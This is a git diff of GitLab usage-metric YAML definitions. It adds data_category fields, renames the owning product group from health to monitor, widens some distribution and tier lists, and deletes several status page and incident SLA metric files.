diff --git a/config/metrics/counts_all/20210216180440_issues_with_embedded_grafana_charts_approx.yml b/config/metrics/counts_all/20210216180440_issues_with_embedded_grafana_charts_approx.yml
index 3dcf3754cd8..6db1b13b869 100644
--- a/config/metrics/counts_all/20210216180440_issues_with_embedded_grafana_charts_approx.yml
+++ b/config/metrics/counts_all/20210216180440_issues_with_embedded_grafana_charts_approx.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.issues_with_embedded_grafana_charts_approx
description: Count of issues where a user has embedded a Grafana chart
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180441_issues_created_from_alerts.yml b/config/metrics/counts_all/20210216180441_issues_created_from_alerts.yml
index a032f8a2a33..240b5ba0658 100644
--- a/config/metrics/counts_all/20210216180441_issues_created_from_alerts.yml
+++ b/config/metrics/counts_all/20210216180441_issues_created_from_alerts.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.issues_created_from_alerts
description: Count of issues created automatically on alerts from GitLab-Managed Prometheus
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180443_issues_created_gitlab_alerts.yml b/config/metrics/counts_all/20210216180443_issues_created_gitlab_alerts.yml
index ca9cfc92d0e..2b9370adc13 100644
--- a/config/metrics/counts_all/20210216180443_issues_created_gitlab_alerts.yml
+++ b/config/metrics/counts_all/20210216180443_issues_created_gitlab_alerts.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.issues_created_gitlab_alerts
description: Count of all issues created from GitLab alerts (bot and non-bot)
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180445_issues_created_manually_from_alerts.yml b/config/metrics/counts_all/20210216180445_issues_created_manually_from_alerts.yml
index 02ca2d6499e..2a7970405fc 100644
--- a/config/metrics/counts_all/20210216180445_issues_created_manually_from_alerts.yml
+++ b/config/metrics/counts_all/20210216180445_issues_created_manually_from_alerts.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.issues_created_manually_from_alerts
description: Count of issues created manually by non-bot users from GitLab alerts
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180447_incident_issues.yml b/config/metrics/counts_all/20210216180447_incident_issues.yml
index 9d348fc5a3d..63c5e548000 100644
--- a/config/metrics/counts_all/20210216180447_incident_issues.yml
+++ b/config/metrics/counts_all/20210216180447_incident_issues.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.incident_issues
description: Count of incidents (issues where issue_type=incident)
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180449_alert_bot_incident_issues.yml b/config/metrics/counts_all/20210216180449_alert_bot_incident_issues.yml
index e7b7e2c801b..b17a1a54a1e 100644
--- a/config/metrics/counts_all/20210216180449_alert_bot_incident_issues.yml
+++ b/config/metrics/counts_all/20210216180449_alert_bot_incident_issues.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.alert_bot_incident_issues
description: Count of issues created by the alert bot automatically
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180451_incident_labeled_issues.yml b/config/metrics/counts_all/20210216180451_incident_labeled_issues.yml
index 4db557d00c4..a39e19e8074 100644
--- a/config/metrics/counts_all/20210216180451_incident_labeled_issues.yml
+++ b/config/metrics/counts_all/20210216180451_incident_labeled_issues.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.incident_labeled_issues
description: Count of all issues with the label=incident
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180453_projects_creating_incidents.yml b/config/metrics/counts_all/20210216180453_projects_creating_incidents.yml
index 44221482c4f..a873a1a9497 100644
--- a/config/metrics/counts_all/20210216180453_projects_creating_incidents.yml
+++ b/config/metrics/counts_all/20210216180453_projects_creating_incidents.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.projects_creating_incidents
description: Counts of Projects that have incident issues, regardless of status.
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180454_projects_with_error_tracking_enabled.yml b/config/metrics/counts_all/20210216180454_projects_with_error_tracking_enabled.yml
index 4bdec4be171..138dba197a5 100644
--- a/config/metrics/counts_all/20210216180454_projects_with_error_tracking_enabled.yml
+++ b/config/metrics/counts_all/20210216180454_projects_with_error_tracking_enabled.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.projects_with_error_tracking_enabled
description: Count of projects that have enabled Error tracking via Sentry
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: error_tracking
value_type: number
status: data_available
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180456_projects_with_alerts_service_enabled.yml b/config/metrics/counts_all/20210216180456_projects_with_alerts_service_enabled.yml
index bd4a4ed3e61..408136edb73 100644
--- a/config/metrics/counts_all/20210216180456_projects_with_alerts_service_enabled.yml
+++ b/config/metrics/counts_all/20210216180456_projects_with_alerts_service_enabled.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.projects_with_alerts_service_enabled
description: Count of projects that have enabled the Alerts service
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: removed
@@ -17,4 +18,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180458_projects_with_alerts_created.yml b/config/metrics/counts_all/20210216180458_projects_with_alerts_created.yml
index 4fe6799d027..c636819a759 100644
--- a/config/metrics/counts_all/20210216180458_projects_with_alerts_created.yml
+++ b/config/metrics/counts_all/20210216180458_projects_with_alerts_created.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.projects_with_alerts_created
description: Count of projects with alerts created in given time period
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: alert_management
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180500_projects_with_enabled_alert_integrations.yml b/config/metrics/counts_all/20210216180500_projects_with_enabled_alert_integrations.yml
index e850bb6c2a8..c93b4b91274 100644
--- a/config/metrics/counts_all/20210216180500_projects_with_enabled_alert_integrations.yml
+++ b/config/metrics/counts_all/20210216180500_projects_with_enabled_alert_integrations.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.projects_with_enabled_alert_integrations
description: Count of projects with at least 1 enabled integration
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180502_status_page_incident_publishes.yml b/config/metrics/counts_all/20210216180502_status_page_incident_publishes.yml
deleted file mode 100644
index e1c1bfafe31..00000000000
--- a/config/metrics/counts_all/20210216180502_status_page_incident_publishes.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: counts.status_page_incident_publishes
-description: Cumulative count of usages of publish operation
-product_section: ops
-product_stage: monitor
-product_group: group::health
-product_category: incident_management
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180504_status_page_incident_unpublishes.yml b/config/metrics/counts_all/20210216180504_status_page_incident_unpublishes.yml
deleted file mode 100644
index db3e1c12b7b..00000000000
--- a/config/metrics/counts_all/20210216180504_status_page_incident_unpublishes.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: counts.status_page_incident_unpublishes
-description: Cumulative count of usages of unpublish operation
-product_section: ops
-product_stage: monitor
-product_group: group::health
-product_category: incident_management
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180506_status_page_projects.yml b/config/metrics/counts_all/20210216180506_status_page_projects.yml
deleted file mode 100644
index 5ff16f3dd47..00000000000
--- a/config/metrics/counts_all/20210216180506_status_page_projects.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: counts.status_page_projects
-description: Projects with status page enabled
-product_section: ops
-product_stage: monitor
-product_group: group::health
-product_category: incident_management
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180507_status_page_issues.yml b/config/metrics/counts_all/20210216180507_status_page_issues.yml
deleted file mode 100644
index 5db63243d35..00000000000
--- a/config/metrics/counts_all/20210216180507_status_page_issues.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: counts.status_page_issues
-description: Issues published to a Status Page
-product_section: ops
-product_stage: monitor
-product_group: group::health
-product_category: incident_management
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180517_projects_with_error_tracking_enabled.yml b/config/metrics/counts_all/20210216180517_projects_with_error_tracking_enabled.yml
index c064e33f30a..06fe3da7371 100644
--- a/config/metrics/counts_all/20210216180517_projects_with_error_tracking_enabled.yml
+++ b/config/metrics/counts_all/20210216180517_projects_with_error_tracking_enabled.yml
@@ -1,16 +1,19 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.monitor.projects_with_error_tracking_enabled
description: Projects where error tracking is enabled
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: error_tracking
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180518_projects_with_incidents.yml b/config/metrics/counts_all/20210216180518_projects_with_incidents.yml
index bbedec31c43..70c8a60ebcf 100644
--- a/config/metrics/counts_all/20210216180518_projects_with_incidents.yml
+++ b/config/metrics/counts_all/20210216180518_projects_with_incidents.yml
@@ -1,16 +1,19 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.monitor.projects_with_incidents
description: Count of unique projects with an incident
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180520_projects_with_alert_incidents.yml b/config/metrics/counts_all/20210216180520_projects_with_alert_incidents.yml
index 87e013bdcb5..092266e07d9 100644
--- a/config/metrics/counts_all/20210216180520_projects_with_alert_incidents.yml
+++ b/config/metrics/counts_all/20210216180520_projects_with_alert_incidents.yml
@@ -1,16 +1,19 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.monitor.projects_with_alert_incidents
description: Count of unique projects with an incident from an alert
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180522_projects_incident_sla_enabled.yml b/config/metrics/counts_all/20210216180522_projects_incident_sla_enabled.yml
deleted file mode 100644
index 84a828a467b..00000000000
--- a/config/metrics/counts_all/20210216180522_projects_incident_sla_enabled.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: usage_activity_by_stage.monitor.projects_incident_sla_enabled
-description: Projects where Incident SLA is enabled
-product_section: ops
-product_stage: monitor
-product_group: group::health
-product_category: error_tracking
-value_type: number
-status: data_available
-time_frame: all
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180628_projects_imported_from_github.yml b/config/metrics/counts_all/20210216180628_projects_imported_from_github.yml
index 47c20ec6cfb..d3e4c6a4ee0 100644
--- a/config/metrics/counts_all/20210216180628_projects_imported_from_github.yml
+++ b/config/metrics/counts_all/20210216180628_projects_imported_from_github.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.projects_imported_from_github
description:
product_section: dev
diff --git a/config/metrics/counts_all/20210216180630_projects_imported_from_github.yml b/config/metrics/counts_all/20210216180630_projects_imported_from_github.yml
index 893b92b1f12..a951a6dedb4 100644
--- a/config/metrics/counts_all/20210216180630_projects_imported_from_github.yml
+++ b/config/metrics/counts_all/20210216180630_projects_imported_from_github.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.create.projects_imported_from_github
description:
product_section: dev
diff --git a/config/metrics/counts_all/20210216180632_unique_users_all_imports.yml b/config/metrics/counts_all/20210216180632_unique_users_all_imports.yml
index f8629496cb6..266b1eb34f6 100644
--- a/config/metrics/counts_all/20210216180632_unique_users_all_imports.yml
+++ b/config/metrics/counts_all/20210216180632_unique_users_all_imports.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.unique_users_all_imports
description: Distinct count of users that triggered any kind of import
product_section: dev
diff --git a/config/metrics/counts_all/20210216180634_gitlab.yml b/config/metrics/counts_all/20210216180634_gitlab.yml
index 8d2501d2c82..258596516c6 100644
--- a/config/metrics/counts_all/20210216180634_gitlab.yml
+++ b/config/metrics/counts_all/20210216180634_gitlab.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.bulk_imports.gitlab
description: Distinct count of users that triggered an import using the Group Migration
tool
diff --git a/config/metrics/counts_all/20210216180636_gitlab_v1.yml b/config/metrics/counts_all/20210216180636_gitlab_v1.yml
index 1c4fa2c62fe..76509b97083 100644
--- a/config/metrics/counts_all/20210216180636_gitlab_v1.yml
+++ b/config/metrics/counts_all/20210216180636_gitlab_v1.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.bulk_imports.gitlab_v1
description: Count of imports using GitLab Migration
product_section: dev
diff --git a/config/metrics/counts_all/20210216180638_gitlab_project.yml b/config/metrics/counts_all/20210216180638_gitlab_project.yml
index 624b004155d..3fd5b1bb728 100644
--- a/config/metrics/counts_all/20210216180638_gitlab_project.yml
+++ b/config/metrics/counts_all/20210216180638_gitlab_project.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.project_imports.gitlab_project
description: Count of projects imported using Project Import/Export
product_section: dev
diff --git a/config/metrics/counts_all/20210216180639_gitlab.yml b/config/metrics/counts_all/20210216180639_gitlab.yml
index 39a878962d2..4197eb9d211 100644
--- a/config/metrics/counts_all/20210216180639_gitlab.yml
+++ b/config/metrics/counts_all/20210216180639_gitlab.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.project_imports.gitlab
description: Count of projects imported from GitLab.com
product_section: dev
diff --git a/config/metrics/counts_all/20210216180641_github.yml b/config/metrics/counts_all/20210216180641_github.yml
index c7ce1a7f1b3..80a971ad997 100644
--- a/config/metrics/counts_all/20210216180641_github.yml
+++ b/config/metrics/counts_all/20210216180641_github.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.project_imports.github
description: Count of projects imported from GitHub
product_section: dev
diff --git a/config/metrics/counts_all/20210216180643_bitbucket.yml b/config/metrics/counts_all/20210216180643_bitbucket.yml
index e05e4e526ff..08c500fb719 100644
--- a/config/metrics/counts_all/20210216180643_bitbucket.yml
+++ b/config/metrics/counts_all/20210216180643_bitbucket.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.project_imports.bitbucket
description: Count of projects imported from Bitbucket
product_section: dev
diff --git a/config/metrics/counts_all/20210216180645_bitbucket_server.yml b/config/metrics/counts_all/20210216180645_bitbucket_server.yml
index 88f618ac228..9ec0e200755 100644
--- a/config/metrics/counts_all/20210216180645_bitbucket_server.yml
+++ b/config/metrics/counts_all/20210216180645_bitbucket_server.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.project_imports.bitbucket_server
description: Count of projects imported from Bitbucket Server
product_section: dev
diff --git a/config/metrics/counts_all/20210216180647_gitea.yml b/config/metrics/counts_all/20210216180647_gitea.yml
index d70b478659d..7439358b8bb 100644
--- a/config/metrics/counts_all/20210216180647_gitea.yml
+++ b/config/metrics/counts_all/20210216180647_gitea.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.project_imports.gitea
description: Count of projects imported from Gitea
product_section: dev
diff --git a/config/metrics/counts_all/20210216180649_git.yml b/config/metrics/counts_all/20210216180649_git.yml
index 19c19e6cc63..56c02302944 100644
--- a/config/metrics/counts_all/20210216180649_git.yml
+++ b/config/metrics/counts_all/20210216180649_git.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.project_imports.git
description: Count of projects imported by URL
product_section: dev
diff --git a/config/metrics/counts_all/20210216180650_manifest.yml b/config/metrics/counts_all/20210216180650_manifest.yml
index 6c89c68b34c..21281acc75a 100644
--- a/config/metrics/counts_all/20210216180650_manifest.yml
+++ b/config/metrics/counts_all/20210216180650_manifest.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.project_imports.manifest
description: Count of projects imported using manifst file
product_section: dev
diff --git a/config/metrics/counts_all/20210216180652_gitlab_migration.yml b/config/metrics/counts_all/20210216180652_gitlab_migration.yml
index d1c84d6c795..ca10c73e2ed 100644
--- a/config/metrics/counts_all/20210216180652_gitlab_migration.yml
+++ b/config/metrics/counts_all/20210216180652_gitlab_migration.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.project_imports.gitlab_migration
description: Count of projects imported using GitLab Migration
product_section: dev
diff --git a/config/metrics/counts_all/20210216180654_jira.yml b/config/metrics/counts_all/20210216180654_jira.yml
index 6e72bc630bd..fe94597bbea 100644
--- a/config/metrics/counts_all/20210216180654_jira.yml
+++ b/config/metrics/counts_all/20210216180654_jira.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage.manage.issue_imports.jira
description: Count of projects imported from Jira
product_section: dev
diff --git a/config/metrics/counts_all/20210216180656_fogbugz.yml b/config/metrics/counts_all/20210216180656_fogbugz.yml
index 8a52d04b615..f270f505fdb 100644
--- a/config/metrics/counts_all/20210216180656_fogbugz.yml
+++ b/config/metrics/counts_all/20210216180656_fogbugz.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.issue_imports.fogbugz
description: Count of projects imported from fogbugz
product_section: dev
diff --git a/config/metrics/counts_all/20210216180658_phabricator.yml b/config/metrics/counts_all/20210216180658_phabricator.yml
index 51559f87ae2..6c485a575fd 100644
--- a/config/metrics/counts_all/20210216180658_phabricator.yml
+++ b/config/metrics/counts_all/20210216180658_phabricator.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.issue_imports.phabricator
description: Count of projects imported from phabricator
product_section: dev
diff --git a/config/metrics/counts_all/20210216180700_csv.yml b/config/metrics/counts_all/20210216180700_csv.yml
index bed309794eb..2bf71cc3a20 100644
--- a/config/metrics/counts_all/20210216180700_csv.yml
+++ b/config/metrics/counts_all/20210216180700_csv.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.issue_imports.csv
description: Count of (attempted) imports from csv files
product_section: dev
diff --git a/config/metrics/counts_all/20210216180702_group_import.yml b/config/metrics/counts_all/20210216180702_group_import.yml
index 109a722738e..01e006f75c6 100644
--- a/config/metrics/counts_all/20210216180702_group_import.yml
+++ b/config/metrics/counts_all/20210216180702_group_import.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.group_imports.group_import
description: Count of group imports using Group Import/Export
product_section: dev
diff --git a/config/metrics/counts_all/20210216180703_gitlab_migration.yml b/config/metrics/counts_all/20210216180703_gitlab_migration.yml
index 74c7e66adfc..cf40dc841ec 100644
--- a/config/metrics/counts_all/20210216180703_gitlab_migration.yml
+++ b/config/metrics/counts_all/20210216180703_gitlab_migration.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.group_imports.gitlab_migration
description: Count of groups imported using GitLab Migration
product_section: dev
diff --git a/config/metrics/counts_all/20210216180705_total.yml b/config/metrics/counts_all/20210216180705_total.yml
index 86ada114d55..69f8ec18d14 100644
--- a/config/metrics/counts_all/20210216180705_total.yml
+++ b/config/metrics/counts_all/20210216180705_total.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.projects_imported.total
description: Total count of all projects imported with import_source NOT NULL
product_section: dev
diff --git a/config/metrics/counts_all/20210216180707_gitlab_project.yml b/config/metrics/counts_all/20210216180707_gitlab_project.yml
index 86972e06d13..9a0e3fa5fbf 100644
--- a/config/metrics/counts_all/20210216180707_gitlab_project.yml
+++ b/config/metrics/counts_all/20210216180707_gitlab_project.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.projects_imported.gitlab_project
description: 'Distinct count of users that imported projects using Project Import/Export'
product_section: dev
diff --git a/config/metrics/counts_all/20210216180709_gitlab.yml b/config/metrics/counts_all/20210216180709_gitlab.yml
index d297c5d6bf5..6bfc09b0d42 100644
--- a/config/metrics/counts_all/20210216180709_gitlab.yml
+++ b/config/metrics/counts_all/20210216180709_gitlab.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.projects_imported.gitlab
description: 'Distinct count of users that imported projects from GitLab.com'
product_section: dev
diff --git a/config/metrics/counts_all/20210216180711_github.yml b/config/metrics/counts_all/20210216180711_github.yml
index 580f759024c..807ef20c4eb 100644
--- a/config/metrics/counts_all/20210216180711_github.yml
+++ b/config/metrics/counts_all/20210216180711_github.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.projects_imported.github
description: Distinct count of users that imported projects from GitHub
product_section: dev
diff --git a/config/metrics/counts_all/20210216180713_bitbucket.yml b/config/metrics/counts_all/20210216180713_bitbucket.yml
index c70147afc3c..fb9e0d83439 100644
--- a/config/metrics/counts_all/20210216180713_bitbucket.yml
+++ b/config/metrics/counts_all/20210216180713_bitbucket.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.projects_imported.bitbucket
description: 'Distinct count of users that imported projects from Bitbucket Cloud'
product_section: dev
diff --git a/config/metrics/counts_all/20210216180715_bitbucket_server.yml b/config/metrics/counts_all/20210216180715_bitbucket_server.yml
index 007bdcb8ecb..99321d76dfd 100644
--- a/config/metrics/counts_all/20210216180715_bitbucket_server.yml
+++ b/config/metrics/counts_all/20210216180715_bitbucket_server.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.projects_imported.bitbucket_server
description: 'Distinct count of users that imported projects from Bitbucket Server'
product_section: dev
diff --git a/config/metrics/counts_all/20210216180716_gitea.yml b/config/metrics/counts_all/20210216180716_gitea.yml
index 514f5a37d85..a4a7ef23052 100644
--- a/config/metrics/counts_all/20210216180716_gitea.yml
+++ b/config/metrics/counts_all/20210216180716_gitea.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.projects_imported.gitea
description: 'Distinct count of users that imported projects from Gitea'
product_section: dev
diff --git a/config/metrics/counts_all/20210216180718_git.yml b/config/metrics/counts_all/20210216180718_git.yml
index f6f46eb2996..13befec6b07 100644
--- a/config/metrics/counts_all/20210216180718_git.yml
+++ b/config/metrics/counts_all/20210216180718_git.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.projects_imported.git
description: 'Distinct count of users that imported projects using Import by URL'
product_section: dev
diff --git a/config/metrics/counts_all/20210216180720_manifest.yml b/config/metrics/counts_all/20210216180720_manifest.yml
index 16807405705..dcc9cc8df92 100644
--- a/config/metrics/counts_all/20210216180720_manifest.yml
+++ b/config/metrics/counts_all/20210216180720_manifest.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.projects_imported.manifest
description: 'Distinct count of users that imported projects using Manifest file'
product_section: dev
diff --git a/config/metrics/counts_all/20210216180722_jira.yml b/config/metrics/counts_all/20210216180722_jira.yml
index 3a4ec347757..420fc4635df 100644
--- a/config/metrics/counts_all/20210216180722_jira.yml
+++ b/config/metrics/counts_all/20210216180722_jira.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.issues_imported.jira
description: Distinct count of users that imported issues into projects using Jira
product_section: dev
diff --git a/config/metrics/counts_all/20210216180724_fogbugz.yml b/config/metrics/counts_all/20210216180724_fogbugz.yml
index a94517cb4e3..1e1d587e434 100644
--- a/config/metrics/counts_all/20210216180724_fogbugz.yml
+++ b/config/metrics/counts_all/20210216180724_fogbugz.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.issues_imported.fogbugz
description: 'Distinct count of users that imported issues into projects using FogBugz'
product_section: dev
diff --git a/config/metrics/counts_all/20210216180726_phabricator.yml b/config/metrics/counts_all/20210216180726_phabricator.yml
index ebff13d3a25..1f4b2ed0460 100644
--- a/config/metrics/counts_all/20210216180726_phabricator.yml
+++ b/config/metrics/counts_all/20210216180726_phabricator.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.issues_imported.phabricator
description: Distinct count of users that imported issues into projects using Phabricator
product_section: dev
diff --git a/config/metrics/counts_all/20210216180727_csv.yml b/config/metrics/counts_all/20210216180727_csv.yml
index 4c4b5f660a3..a50733d361e 100644
--- a/config/metrics/counts_all/20210216180727_csv.yml
+++ b/config/metrics/counts_all/20210216180727_csv.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.issues_imported.csv
description: Distinct count of users that imported issues into projects using CSV
upload
diff --git a/config/metrics/counts_all/20210216180729_groups_imported.yml b/config/metrics/counts_all/20210216180729_groups_imported.yml
index 3ce8e475d38..47f4a54cf8e 100644
--- a/config/metrics/counts_all/20210216180729_groups_imported.yml
+++ b/config/metrics/counts_all/20210216180729_groups_imported.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.groups_imported
description: Distinct count of users that imported groups using Group Import
product_section: dev
diff --git a/config/metrics/counts_all/20210216180734_wiki_pages_create.yml b/config/metrics/counts_all/20210216180734_wiki_pages_create.yml
index 90f20d71997..a789d1ead6c 100644
--- a/config/metrics/counts_all/20210216180734_wiki_pages_create.yml
+++ b/config/metrics/counts_all/20210216180734_wiki_pages_create.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.wiki_pages_create
description: Count of all Wiki pages created
product_section: dev
diff --git a/config/metrics/counts_all/20210216180736_wiki_pages_update.yml b/config/metrics/counts_all/20210216180736_wiki_pages_update.yml
index ad257389f1f..3f5bd8804de 100644
--- a/config/metrics/counts_all/20210216180736_wiki_pages_update.yml
+++ b/config/metrics/counts_all/20210216180736_wiki_pages_update.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.wiki_pages_update
description: Count of all Wiki page updates
product_section: dev
diff --git a/config/metrics/counts_all/20210216180738_wiki_pages_delete.yml b/config/metrics/counts_all/20210216180738_wiki_pages_delete.yml
index 83379f14ba0..40815a1f9be 100644
--- a/config/metrics/counts_all/20210216180738_wiki_pages_delete.yml
+++ b/config/metrics/counts_all/20210216180738_wiki_pages_delete.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.wiki_pages_delete
description: Count of all Wiki pages deleted
product_section: dev
diff --git a/config/metrics/counts_all/20210216180740_design_management_designs_create.yml b/config/metrics/counts_all/20210216180740_design_management_designs_create.yml
index bd631db3e6c..0b847692c91 100644
--- a/config/metrics/counts_all/20210216180740_design_management_designs_create.yml
+++ b/config/metrics/counts_all/20210216180740_design_management_designs_create.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.design_management_designs_create
description: Number of designs that were created
product_section: dev
